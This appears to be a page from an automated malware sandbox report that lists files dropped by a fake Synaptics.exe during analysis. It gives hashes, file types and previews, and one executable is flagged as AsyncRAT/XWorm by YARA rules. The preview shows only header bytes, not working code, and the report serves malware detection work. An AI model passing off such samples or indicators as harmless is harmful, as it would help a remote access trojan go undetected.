Preview:	....### Administrator: Windows PowerShell ###..[WIN]r

C:\Users\user\AppData\Local\Temp\PaqAJ8v.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.265826975786783
Encrypted:	false
SSDEEP:	24:bsF+0BNxkmISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK++zkmI+pAZewRDK4mW
MD5:	0104C2674BF97376E70820CC08827E33
SHA1:	080907E86DE5F533DD5A5972D0438CECF4397DF4
SHA-256:	1EB945C61354FACD15D0C04E7A3103EE7C9FD77F8AB699D01310FF1D3FF9A1AE
SHA-512:	FCB631AE7B6A2DDE2711727780DC941A2359BDD291A4A464BDC5714B2FF9BA34EA6D534CFAB31E4C4E87E74A83798BB9B7B7157E4444D3FA8F5EA4A9B2B04DC3
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6e0OK1gXiCWna7ERIYMtdQ">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1676288
Entropy (8bit):	6.591551804043863
Encrypted:	false
SSDEEP:	24576:xnsJ39LyjbJkQFMhmC+6GD91J39LyjbJkQFMhmC+6GD9d7nC:xnsHyjtk2MYC5GDTHyjtk2MYC5GDPnC
MD5:	1963B2AECC8B3475F85C8732D3CA3BBA
SHA1:	ACADFB4BD5C25A0E1935032582A157682D8A1296
SHA-256:	2854830B1CC43F0E4C25A39541D8EFE49344C700C8588ED29841BAF60E3E3045
SHA-512:	7DA4ACB89F157044D545B30C7AB0CE38549224E23A5C581187C0C192709FE1587990EAD4910D627F1F416E430C30ED70248F7CBF32784A8A8A69BA464379B5C9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\RCXAE3F.tmp, Author: ditekSHen
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..........................................@..............................................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\UJMfNuy.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.249350138693271
Encrypted:	false
SSDEEP:	24:bsF+00cSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+lc+pAZewRDK4mW
MD5:	200B939FF49D350FBC90D36F11A33D86
SHA1:	728ACF96379714C07834CFCEFA68C8867214FC7C
SHA-256:	566BEB3EE2795CB18F8651EB1DDB0ABEC77D656B5C4652E5DD6B3ED1BFBA4041
SHA-512:	C0F0286E1C161136369E079E262FC7653AA59197FC0D0E911C7DAC8D85C5A0FEFAFD789545A954EF37CDA72B4DC8363CD5FECE0C106A0011ACEC785FE7E3BC1C
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="X_WF-7StTdagdLgdFuty1Q">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\WWN2Gcv.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.265047920914127
Encrypted:	false
SSDEEP:	24:bsF+0RSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+i+pAZewRDK4mW
MD5:	064633AE701B422EE1B663301F7D5301
SHA1:	59CD045E4980309FD54E5F5F6C1AA9ECC544B3C6
SHA-256:	757B4E75D40103480ABC952DBD493896B6194BEA6362D776F1AADCE788B04B8D
SHA-512:	BC8BD2AE756EFFD8CF6D7AA96936E93916E247FB3613D77FDC2CB2196672C2015B77925D2390429D5AACD9C1D718A2A09DC4292E733D6264F3142C155A672D30
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="XulM3sZZrF_CCeA9RXtO4g">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\X5XGEeU.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.258736348726071
Encrypted:	false
SSDEEP:	24:bsF+0VSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+y+pAZewRDK4mW
MD5:	487419BC6AD03D92443FD38218975308
SHA1:	4093B80F2527C10CF16FEC2141E70D8D0688ADE4
SHA-256:	408820B949A3077592E4A602E8CE78BCF342761178C2F10113CB7A3955E01302
SHA-512:	96CCEB34A805CD860AEC9D96C65106738845AC6FF1F807F1CB690E5EAE8D20E5047DA93F223E85B84C42F10CF99C202B376A6FA65FA605846EB8530388670D55
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="O1XlLN20k4ropfYAYDx5AA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\YxwDtYz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.253463727886059
Encrypted:	false
SSDEEP:	24:bsF+0v02GSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+d+pAZewRDK4mW
MD5:	3B260998E6025FFE1485FBEC04EA4D16
SHA1:	B61805010BB5D7A5CDC66B18CEEB44B2DB3886FC
SHA-256:	B0131230923AFD76A5C056CCA5FDCFF463C864B64AE9AA2DD814374322221538
SHA-512:	8FFD6F6876C72EBA5F202642F04983FF223FCCFBE3F379BA0BC17621E3D13803B47980E42048650E8C97FA0C5E286B234DD83FEA1120B852DF35D04905D17718
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="tU9txax9dG_BUAw2VoE4Mg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\Z2OMHRC.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.270494471711581
Encrypted:	false
SSDEEP:	24:bsF+0kVjSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+f+pAZewRDK4mW
MD5:	885ECBBFB89114FCA8F7EC03FA990DB1
SHA1:	7897C8B99C5338061855FD73D8319F4200C47133
SHA-256:	68DDAA3872A8790847028C18985AD8B394EDBB24A91FA405015F75AF158744F4
SHA-512:	26E3FAABCBAFDAE4580C8F655FF0E56EFBEE22099526378C7695B8C6875CBEA276E3D8B01EA0CE029591A01E6E76BF1D98925A6482CB13161F27AAC285DCE6A7
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FuBDZ3AkSZFW_N_nimObIw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\ZEZ5HBz.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.268983261437868
Encrypted:	false
SSDEEP:	24:bsF+0kfTXSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+L+pAZewRDK4mW
MD5:	C70ECB957647788A279A8D7603A283AE
SHA1:	7BA4D0FDA893CA3ABEF757489106E2177FB32F81
SHA-256:	3D3CA8A6D413B2BC10F64D023044E3673562156A335E6C119AA2FD84334C60B6
SHA-512:	A138D9B3090F931A6D957439599231C46089B725F7D7A92A60E133B9846825AD93938172EE8054BAAD75499EBDD97863CBBA7EFB4A52C1BE4AC8C7F862D0BA48
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="52XhXIhZO4QUdh8VQ0k5VA">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1i1zkzpn.rwd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewcdsxct.pj2.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f3jkzeq3.0yr.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fpkwrdnt.n0v.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hwu2wztb.ute.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jhi4d0gv.aqi.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_juhwggwp.pyq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kajtq2kr.0dq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mbdju1iw.q3h.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nohjvpo5.0fn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_odlonr5k.e20.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rtazspsz.p32.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_saookldm.mru.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vjyv5lar.bms.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w0stbe5h.cwb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x4zotlsz.c5a.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\aYDenTd.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.262953161465916
Encrypted:	false
SSDEEP:	24:bsF+0veDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+R+pAZewRDK4mW
MD5:	AD0223C0C8BF4AB4727BAD13A3254E1D
SHA1:	50AB55D864814AC432EEEAB52DB5794A58F83358
SHA-256:	8AAFFCC81A1C030ED7F67CF42EDF510E1DB6F7CE11CF27E2457D54D0C580D827
SHA-512:	815EE96B7EAE3AA1F5CD8C4C99168A8FB11533A8CB6A18E3EF987159D54400D3B070BB4ADA905C050B56A8825676A0C81E3DA4841B96E1C7D480242AED4F3C8B
Malicious:	false
